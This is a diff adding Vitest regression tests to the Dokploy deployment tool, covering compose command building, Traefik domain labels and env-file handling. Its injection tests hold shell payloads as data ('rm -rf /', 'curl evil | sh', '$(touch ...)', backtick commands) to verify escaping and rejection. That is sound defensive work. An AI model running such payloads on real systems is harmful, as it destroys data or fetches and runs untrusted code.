expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
|
||||
expect(parse(quote([tag]))).toEqual([tag]);
|
||||
});
|
||||
});
|
||||
52
apps/dokploy/__test__/compose/build-compose-command.test.ts
Normal file
52
apps/dokploy/__test__/compose/build-compose-command.test.ts
Normal file
@ -0,0 +1,52 @@
|
||||
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Isolate the command builder from the compose-file I/O performed by
|
||||
// writeDomainsToCompose; we only care about the docker invocation it emits.
|
||||
vi.mock("@dokploy/server/utils/docker/domain", () => ({
|
||||
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
|
||||
}));
|
||||
|
||||
const baseCompose = {
|
||||
appName: "my-app",
|
||||
sourceType: "raw",
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
composeType: "stack",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
serverId: null,
|
||||
env: "",
|
||||
mounts: [],
|
||||
domains: [],
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
|
||||
|
||||
// Regression coverage for #4401: the deploy command runs under `env -i`, which
|
||||
// clears the environment except for the vars listed explicitly. HOME must be
|
||||
// preserved so docker can resolve ~/.docker/config.json — otherwise
|
||||
// `docker stack deploy --with-registry-auth` ships no credentials to the swarm
|
||||
// and private-registry images fail to pull.
|
||||
describe("getBuildComposeCommand registry auth (#4401)", () => {
|
||||
it("preserves HOME for swarm stack deploys", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
composeType: "stack",
|
||||
});
|
||||
|
||||
expect(command).toContain("stack deploy");
|
||||
expect(command).toContain("--with-registry-auth");
|
||||
expect(command).toContain('env -i PATH="$PATH" HOME="$HOME"');
|
||||
});
|
||||
|
||||
it("preserves HOME for docker compose deploys", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
composeType: "docker-compose",
|
||||
});
|
||||
|
||||
expect(command).toContain("compose -p my-app");
|
||||
expect(command).toContain('env -i PATH="$PATH" HOME="$HOME"');
|
||||
});
|
||||
});
|
||||
169
apps/dokploy/__test__/compose/compose-command-injection.test.ts
Normal file
169
apps/dokploy/__test__/compose/compose-command-injection.test.ts
Normal file
@ -0,0 +1,169 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { createCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
|
||||
|
||||
const base = {
|
||||
composeType: "docker-compose" as const,
|
||||
appName: "compose-app",
|
||||
sourceType: "raw" as const,
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
};
|
||||
|
||||
// createCommand output is interpolated as `docker ${command}` at the deploy
|
||||
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = [
|
||||
`$(touch ${MARK})`,
|
||||
`\`touch ${MARK}\``,
|
||||
`x; touch ${MARK}`,
|
||||
`x | touch ${MARK}`,
|
||||
];
|
||||
|
||||
describe("compose createCommand injection", () => {
|
||||
it("escapes composePath (docker-compose)", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
composePath: p,
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("escapes composePath (stack deploy)", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
composeType: "stack",
|
||||
sourceType: "github",
|
||||
composePath: p,
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("escapes appName", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
appName: p,
|
||||
composePath: "docker-compose.yml",
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a custom command containing shell control characters", () => {
|
||||
for (const bad of [
|
||||
"up -d; rm -rf /",
|
||||
"up && curl evil | sh",
|
||||
"up $(touch x)",
|
||||
"up `id`",
|
||||
]) {
|
||||
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||
/Invalid characters/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("allows a legitimate custom command", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose -f docker-compose.yml -p app up -d --build",
|
||||
} as any);
|
||||
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
|
||||
});
|
||||
|
||||
it("keeps a legitimate composePath intact", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
composePath: "deploy/docker-compose.prod.yml",
|
||||
} as any);
|
||||
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
|
||||
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
|
||||
"deploy/docker-compose.prod.yml",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chained docker compose commands with '&&'", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command:
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
} as any);
|
||||
expect(cmd).toBe(
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chaining with the legacy 'docker-compose' spelling", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose pull && docker-compose down",
|
||||
} as any);
|
||||
expect(cmd).toBe("compose pull && docker-compose down");
|
||||
});
|
||||
|
||||
it("rejects a single '&' used for backgrounding", () => {
|
||||
expect(() =>
|
||||
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects a malformed '&&&' chain", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull &&& docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects chained segments that are not docker compose invocations", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && rm -rf /",
|
||||
} as any),
|
||||
).toThrow(/must strictly start with 'docker compose '/);
|
||||
});
|
||||
|
||||
it("rejects an attempted injection smuggled inside a chained segment", () => {
|
||||
for (const bad of [
|
||||
"compose pull && docker compose up -d; touch /tmp/pwn",
|
||||
"compose pull && docker compose up -d $(touch /tmp/pwn)",
|
||||
"compose pull && docker compose up -d `touch /tmp/pwn`",
|
||||
"compose pull && docker compose up -d | touch /tmp/pwn",
|
||||
]) {
|
||||
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||
/Invalid characters/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && curl evil.sh | docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Invalid characters/);
|
||||
});
|
||||
});
|
||||
@ -0,0 +1,58 @@
|
||||
import { createCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const base = {
|
||||
composeType: "docker-compose" as const,
|
||||
appName: "compose-app",
|
||||
sourceType: "github" as const,
|
||||
command: "",
|
||||
};
|
||||
|
||||
describe("compose createCommand --project-directory", () => {
|
||||
it("pins --project-directory to the code dir when composePath is nested", () => {
|
||||
const cmd = createCommand(
|
||||
{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).toContain(
|
||||
"--project-directory /etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
expect(cmd).toContain("-f ./deploy/docker-compose.yml");
|
||||
});
|
||||
|
||||
it("omits --project-directory when no projectPath is passed", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
composePath: "./deploy/docker-compose.yml",
|
||||
} as any);
|
||||
|
||||
expect(cmd).not.toContain("--project-directory");
|
||||
});
|
||||
|
||||
it("does not add --project-directory to stack deploy (unsupported flag)", () => {
|
||||
const cmd = createCommand(
|
||||
{
|
||||
...base,
|
||||
composeType: "stack",
|
||||
composePath: "./deploy/docker-compose.yml",
|
||||
} as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).not.toContain("--project-directory");
|
||||
expect(cmd.startsWith("stack deploy")).toBe(true);
|
||||
});
|
||||
|
||||
it("keeps raw sourceType resolving from the code dir (root docker-compose.yml)", () => {
|
||||
const cmd = createCommand(
|
||||
{ ...base, sourceType: "raw", composePath: "docker-compose.yml" } as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).toContain(
|
||||
"--project-directory /etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
expect(cmd).toContain("-f docker-compose.yml");
|
||||
});
|
||||
});
|
||||
@ -0,0 +1,69 @@
|
||||
import { parse } from "shell-quote";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
|
||||
// "exists" but does not contain the attacker's service, forcing the error path
|
||||
// whose message embeds the user-controlled serviceName.
|
||||
vi.mock("node:fs", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("node:fs")>();
|
||||
return {
|
||||
...actual,
|
||||
existsSync: () => true,
|
||||
readFileSync: () => "services:\n web:\n image: nginx\n",
|
||||
};
|
||||
});
|
||||
|
||||
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
|
||||
const baseCompose = {
|
||||
appName: "my-app",
|
||||
serverId: null,
|
||||
composeType: "docker-compose",
|
||||
sourceType: "raw",
|
||||
composePath: "docker-compose.yml",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
} as any;
|
||||
|
||||
const makeDomain = (serviceName: string) =>
|
||||
({
|
||||
host: "example.com",
|
||||
serviceName,
|
||||
https: false,
|
||||
uniqueConfigKey: 1,
|
||||
port: 3000,
|
||||
enabled: true,
|
||||
}) as any;
|
||||
|
||||
// If the returned shell fragment is safe, parse() yields only string tokens.
|
||||
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
|
||||
const leaksShellSyntax = (command: string, marker: string) =>
|
||||
parse(command).some(
|
||||
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
|
||||
);
|
||||
|
||||
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
|
||||
it("does not let a malicious serviceName inject shell operators", async () => {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain("$(touch /tmp/pwned)"),
|
||||
]);
|
||||
|
||||
// The service does not exist in the compose, so we hit the error branch.
|
||||
expect(result).toContain("Has occurred an error");
|
||||
// The payload text may appear inside the single-quoted echo argument, but
|
||||
// it must never parse as a shell operator ($(), backtick, ; …).
|
||||
expect(leaksShellSyntax(result, "touch")).toBe(false);
|
||||
});
|
||||
|
||||
it("neutralizes backtick and semicolon payloads too", async () => {
|
||||
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain(`svc${payload}`),
|
||||
]);
|
||||
expect(leaksShellSyntax(result, "rm")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "curl")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "id")).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
306
apps/dokploy/__test__/compose/domain/enabled-filter.test.ts
Normal file
306
apps/dokploy/__test__/compose/domain/enabled-filter.test.ts
Normal file
@ -0,0 +1,306 @@
|
||||
import type { Compose } from "@dokploy/server/services/compose";
|
||||
import type { Domain } from "@dokploy/server/services/domain";
|
||||
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// With sourceType "raw", addDomainToCompose parses compose.composeFile
|
||||
// directly instead of reading from disk, so baseCompose exposes it as a
|
||||
// getter that always reflects the current composeYaml for each test case.
|
||||
const baseComposeYaml = `
|
||||
services:
|
||||
frigate:
|
||||
image: frigate
|
||||
`;
|
||||
let composeYaml = baseComposeYaml;
|
||||
|
||||
const baseCompose = {
|
||||
appName: "test-app",
|
||||
composeType: "docker-compose",
|
||||
composePath: "docker-compose.yml",
|
||||
sourceType: "raw",
|
||||
serverId: null,
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
get composeFile() {
|
||||
return composeYaml;
|
||||
},
|
||||
} as unknown as Compose;
|
||||
|
||||
const baseDomain: Domain = {
|
||||
host: "frigate.example.com",
|
||||
port: 8971,
|
||||
customEntrypoint: null,
|
||||
https: false,
|
||||
uniqueConfigKey: 1,
|
||||
customCertResolver: null,
|
||||
certificateType: "none",
|
||||
applicationId: "",
|
||||
composeId: "compose-id",
|
||||
domainType: "compose",
|
||||
serviceName: "frigate",
|
||||
domainId: "domain-id",
|
||||
path: "/",
|
||||
createdAt: "",
|
||||
previewDeploymentId: "",
|
||||
internalPath: "/",
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
const serviceLabels = (
|
||||
result: Awaited<ReturnType<typeof addDomainToCompose>>,
|
||||
) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
|
||||
|
||||
describe("addDomainToCompose enabled filtering", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
composeYaml = baseComposeYaml;
|
||||
});
|
||||
|
||||
it("generates traefik labels for an enabled domain", async () => {
|
||||
const result = await addDomainToCompose(baseCompose, [
|
||||
{ ...baseDomain, enabled: true },
|
||||
]);
|
||||
|
||||
const labels = serviceLabels(result);
|
||||
expect(labels).toContain("traefik.enable=true");
|
||||
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
|
||||
true,
|
||||
);
|
||||
});
|
||||
|
||||
it("skips a disabled domain entirely (no traefik labels)", async () => {
|
||||
const result = await addDomainToCompose(baseCompose, [
|
||||
{ ...baseDomain, enabled: false },
|
||||
]);
|
||||
|
||||
const labels = serviceLabels(result);
|
||||
expect(labels).not.toContain("traefik.enable=true");
|
||||
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
labels:
|
||||
- traefik.enable=true
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
|
||||
- custom.label=preserved
|
||||
`,
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
- traefik.enable=true
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
|
||||
- custom.label=preserved
|
||||
`,
|
||||
],
|
||||
] as const)(
|
||||
"removes stale labels for a disabled domain from %s rebuilds",
|
||||
async (composeType, staleComposeYaml) => {
|
||||
composeYaml = staleComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, enabled: false },
|
||||
]);
|
||||
|
||||
const service = result?.services?.frigate;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? service?.labels
|
||||
: service?.deploy?.labels;
|
||||
expect(labels).toContain("custom.label=preserved");
|
||||
expect(
|
||||
(labels as string[]).some((label) => label.includes("test-app-1")),
|
||||
).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
legacy:
|
||||
image: frigate
|
||||
labels:
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- custom.label=preserved
|
||||
frigate:
|
||||
image: frigate
|
||||
`,
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
legacy:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- custom.label=preserved
|
||||
frigate:
|
||||
image: frigate
|
||||
`,
|
||||
],
|
||||
] as const)(
|
||||
"removes stale labels from the previous %s service after reassignment",
|
||||
async (composeType, staleComposeYaml) => {
|
||||
composeYaml = staleComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, serviceName: "frigate", enabled: false },
|
||||
]);
|
||||
|
||||
const previousService = result?.services?.legacy;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? previousService?.labels
|
||||
: previousService?.deploy?.labels;
|
||||
expect(labels).toContain("custom.label=preserved");
|
||||
expect(
|
||||
(labels as string[]).some((label) => label.includes("test-app-1")),
|
||||
).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
|
||||
custom.label: preserved
|
||||
`,
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
|
||||
custom.label: preserved
|
||||
`,
|
||||
],
|
||||
] as const)(
|
||||
"removes stale mapping labels for a disabled domain from %s rebuilds",
|
||||
async (composeType, staleComposeYaml) => {
|
||||
composeYaml = staleComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, enabled: false },
|
||||
]);
|
||||
|
||||
const service = result?.services?.frigate;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? service?.labels
|
||||
: service?.deploy?.labels;
|
||||
expect(labels).toMatchObject({ "custom.label": "preserved" });
|
||||
expect(
|
||||
Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
|
||||
).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
custom.label: preserved
|
||||
`,
|
||||
"traefik.docker.network",
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
custom.label: preserved
|
||||
`,
|
||||
"traefik.swarm.network",
|
||||
],
|
||||
] as const)(
|
||||
"regenerates routing in mapping labels for an enabled domain in %s",
|
||||
async (composeType, mappingComposeYaml, networkLabel) => {
|
||||
composeYaml = mappingComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, enabled: true },
|
||||
]);
|
||||
|
||||
const service = result?.services?.frigate;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? service?.labels
|
||||
: service?.deploy?.labels;
|
||||
expect(labels).toMatchObject({
|
||||
"custom.label": "preserved",
|
||||
"traefik.enable": "true",
|
||||
[networkLabel]: "dokploy-network",
|
||||
"traefik.http.routers.test-app-1-web.rule":
|
||||
"Host(`frigate.example.com`)",
|
||||
"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
|
||||
});
|
||||
},
|
||||
);
|
||||
|
||||
it("emits labels only for the enabled domain when both are present", async () => {
|
||||
const result = await addDomainToCompose(baseCompose, [
|
||||
{ ...baseDomain, host: "enabled.example.com", enabled: true },
|
||||
{
|
||||
...baseDomain,
|
||||
host: "disabled.example.com",
|
||||
uniqueConfigKey: 2,
|
||||
enabled: false,
|
||||
},
|
||||
]);
|
||||
|
||||
const labels = serviceLabels(result);
|
||||
expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
|
||||
true,
|
||||
);
|
||||
expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
});
|
||||
@ -34,6 +34,8 @@ describe("Host rule format regression tests", () => {
|
||||
stripPath: false,
|
||||
customEntrypoint: null,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
describe("Host rule format validation", () => {
|
||||
|
||||
@ -23,6 +23,8 @@ describe("createDomainLabels", () => {
|
||||
internalPath: "/",
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
it("should create basic labels for web entrypoint", async () => {
|
||||
@ -103,6 +105,51 @@ describe("createDomainLabels", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("should add tls=true for certificateType none on websecure entrypoint", async () => {
|
||||
const noneDomain = {
|
||||
...baseDomain,
|
||||
https: true,
|
||||
certificateType: "none" as const,
|
||||
};
|
||||
const labels = await createDomainLabels(appName, noneDomain, "websecure");
|
||||
expect(labels).toContain(
|
||||
"traefik.http.routers.test-app-1-websecure.tls=true",
|
||||
);
|
||||
// no cert resolver should be set when relying on a default/custom cert
|
||||
expect(labels).not.toContain(
|
||||
"traefik.http.routers.test-app-1-websecure.tls.certresolver=letsencrypt",
|
||||
);
|
||||
});
|
||||
|
||||
it("should not add tls=true for certificateType none on web entrypoint", async () => {
|
||||
const noneDomain = {
|
||||
...baseDomain,
|
||||
https: true,
|
||||
certificateType: "none" as const,
|
||||
};
|
||||
const labels = await createDomainLabels(appName, noneDomain, "web");
|
||||
expect(labels).not.toContain(
|
||||
"traefik.http.routers.test-app-1-web.tls=true",
|
||||
);
|
||||
});
|
||||
|
||||
it("should add tls=true for certificateType none on a custom https entrypoint", async () => {
|
||||
const noneDomain = {
|
||||
...baseDomain,
|
||||
https: true,
|
||||
customEntrypoint: "websecure-custom",
|
||||
certificateType: "none" as const,
|
||||
};
|
||||
const labels = await createDomainLabels(
|
||||
appName,
|
||||
noneDomain,
|
||||
"websecure-custom",
|
||||
);
|
||||
expect(labels).toContain(
|
||||
"traefik.http.routers.test-app-1-websecure-custom.tls=true",
|
||||
);
|
||||
});
|
||||
|
||||
it("should handle different ports correctly", async () => {
|
||||
const customPortDomain = { ...baseDomain, port: 3000 };
|
||||
const labels = await createDomainLabels(appName, customPortDomain, "web");
|
||||
|
||||
59
apps/dokploy/__test__/compose/domain/raw-compose.test.ts
Normal file
59
apps/dokploy/__test__/compose/domain/raw-compose.test.ts
Normal file
@ -0,0 +1,59 @@
|
||||
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
|
||||
...(await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>()),
|
||||
execAsyncRemote: vi.fn(),
|
||||
}));
|
||||
|
||||
describe("raw remote compose conversion (#4794)", () => {
|
||||
it("uses the saved raw source and preserves supported mount syntax", async () => {
|
||||
vi.mocked(execAsyncRemote).mockResolvedValue({
|
||||
stdout: "services:\n test:\n image: alpine:latest\n",
|
||||
stderr: "",
|
||||
});
|
||||
|
||||
const compose = {
|
||||
appName: "raw-stack",
|
||||
composeFile: `
|
||||
services:
|
||||
test:
|
||||
image: alpine:latest
|
||||
volumes:
|
||||
- type: tmpfs
|
||||
target: /scratch
|
||||
- type: volume
|
||||
source: test-data
|
||||
target: /data
|
||||
tmpfs:
|
||||
- /cache
|
||||
volumes:
|
||||
test-data:
|
||||
`,
|
||||
composePath: "./docker-compose.yml",
|
||||
composeType: "stack",
|
||||
isolatedDeployment: false,
|
||||
isolatedDeploymentsVolume: false,
|
||||
randomize: false,
|
||||
serverId: "remote-server",
|
||||
sourceType: "raw",
|
||||
suffix: "",
|
||||
} as unknown as Parameters<typeof addDomainToCompose>[0];
|
||||
|
||||
const converted = await addDomainToCompose(compose, []);
|
||||
|
||||
expect(converted?.services?.test?.volumes).toEqual([
|
||||
{ type: "tmpfs", target: "/scratch" },
|
||||
{
|
||||
type: "volume",
|
||||
source: "test-data",
|
||||
target: "/data",
|
||||
},
|
||||
]);
|
||||
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
|
||||
expect(execAsyncRemote).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
102
apps/dokploy/__test__/compose/env-file-literals.test.ts
Normal file
102
apps/dokploy/__test__/compose/env-file-literals.test.ts
Normal file
@ -0,0 +1,102 @@
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
|
||||
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
|
||||
const appName = `env-file-literals-${process.pid}`;
|
||||
const projectPath = join(process.cwd(), ".docker", "compose", appName);
|
||||
const codePath = join(projectPath, "code");
|
||||
|
||||
afterEach(() => {
|
||||
try {
|
||||
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
|
||||
cwd: codePath,
|
||||
stdio: "ignore",
|
||||
});
|
||||
} catch {
|
||||
// Project may not have been created (e.g. an earlier assertion failed).
|
||||
}
|
||||
rmSync(projectPath, { force: true, recursive: true });
|
||||
});
|
||||
|
||||
const cases: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
SPECIAL: '!"#$%&/()=?',
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
MAIL_PASSWORD: "abc#de",
|
||||
TRAILING_BACKSLASH: "trailing\\",
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
APOSTROPHE: "it's a test",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
|
||||
APP_URL: "https://example.com",
|
||||
ASSET_URL: "https://example.com",
|
||||
DB_HOST: "localhost",
|
||||
};
|
||||
|
||||
// How each value must be typed in the UI so the (unchanged) dotenv input
|
||||
// parser resolves it to the raw string in `cases` above.
|
||||
const inputEncoding: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
SPECIAL: `'!"#$%&/()=?'`,
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
MAIL_PASSWORD: `"abc#de"`,
|
||||
TRAILING_BACKSLASH: "trailing\\",
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
APOSTROPHE: "it's a test",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
|
||||
APP_URL: "https://example.com",
|
||||
ASSET_URL: '"${APP_URL}"',
|
||||
DB_HOST: '"${UNDEFINED_HOST:-localhost}"',
|
||||
};
|
||||
|
||||
describe("getCreateEnvFileCommand", () => {
|
||||
it("writes special environment values that Docker Compose reads back literally", () => {
|
||||
mkdirSync(codePath, { recursive: true });
|
||||
|
||||
const serviceEnv = Object.entries(inputEncoding)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("\n");
|
||||
|
||||
const command = getCreateEnvFileCommand({
|
||||
appName,
|
||||
composePath: "docker-compose.yml",
|
||||
env: serviceEnv,
|
||||
randomize: false,
|
||||
